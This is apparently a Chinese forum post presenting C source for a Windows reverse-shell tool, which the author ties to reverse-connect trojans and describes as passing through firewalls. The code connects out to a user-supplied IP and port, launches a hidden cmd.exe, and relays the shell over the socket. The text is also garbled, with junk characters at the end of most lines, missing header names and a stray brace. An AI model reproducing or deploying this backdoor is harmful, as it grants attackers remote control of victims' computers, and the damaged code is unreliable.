这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 u9Adu`
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/* ============================== uQbag]&j
Rebound port in Windows NT N`7OJ)l
By wind,2006/7 Q3& ?28
===============================*/ !BW!!/U
#include ):4)8@]5M
#include ^!exH(g
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#pragma comment(lib,"wsock32.lib") (rJ-S"^u
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void OutputShell(); hj"JmF$m
SOCKET sClient; N:Q.6_%^
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; GIYdI#0RC
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void main(int argc,char **argv) 9$U>St
{ yj'lHC
WSADATA stWsaData; EP;ts
int nRet; q1YNp`]0i8
SOCKADDR_IN stSaiClient,stSaiServer; x])j]k
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if(argc != 3) D1deh=
{ dHOH]x
printf("Useage:\n\rRebound DestIP DestPort\n"); g,*fpk
return;
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} BQUYT/$(
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WSAStartup(MAKEWORD(2,2),&stWsaData);
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `_/1zL[
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stSaiClient.sin_family = AF_INET; `ba<eT':
stSaiClient.sin_port = htons(0); PDc4ok`)
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) cuG;1,?b
{ \QSD*
printf("Bind Socket Failed!\n"); vm*9xs
return; z,C>Rh9Id
} >d
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stSaiServer.sin_family = AF_INET; ;CL^2{
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;1,#rTs
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); y&4im;X0
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %^I 7=
{ &,XPMT
printf("Connect Error!"); Nt<Ac&6
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return; ?|2m0~%V=
} b[n6L5P5m2
OutputShell(); _mQ~[}y+?
} bX`]<$dr3
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void OutputShell() Oh`Pf;.z%
{ TxkvHiq2
char szBuff[1024]; .$G^c
SECURITY_ATTRIBUTES stSecurityAttributes; n
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OSVERSIONINFO stOsversionInfo; sh<JB`^$(?
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |])Ko08*tE
STARTUPINFO stStartupInfo; NlG!_D"(y
char *szShell; gd31d s!G
PROCESS_INFORMATION stProcessInformation; H:1F=$0I9
unsigned long lBytesRead; [z}$G:s
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1-4*YrA
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #0qMYe>Y
stSecurityAttributes.lpSecurityDescriptor = 0; |TBKsx8
stSecurityAttributes.bInheritHandle = TRUE; g'eJN
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *UG=dl#F#
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); D>q?My
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !. ={p8X-x
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '-X913eG!
stStartupInfo.wShowWindow = SW_HIDE; 5th\_n}N2/
stStartupInfo.hStdInput = hReadPipe; J&b&*3
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5HbPS%^.
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GetVersionEx(&stOsversionInfo); u"r1RG'
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switch(stOsversionInfo.dwPlatformId) !}uev
{ F
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case 1: POUD*(DqNK
szShell = "command.com"; =:'a)o
break; .We"j_
}
default: *8QGv6*vQ
szShell = "cmd.exe"; aib)ItNb
break; d `+cNKf
} ODqWXw#
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); QI2T G,
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send(sClient,szMsg,77,0); 'roZ:NE
while(1) |[lM2
{ ~v<,6BS<$Z
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [HhdeLOX
if(lBytesRead) BK:S:
{ X[c8P7
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \TBY)_[ {
send(sClient,szBuff,lBytesRead,0); o93A:f c
} # nh;KlI0
else M e
{ sj @'C@oK
lBytesRead=recv(sClient,szBuff,1024,0); ojitBo~
if(lBytesRead<=0) break; BqKh&m
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); P}QuGy[
} VFMg$qv|_
} ;0 VE*
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return; M-df Gk
}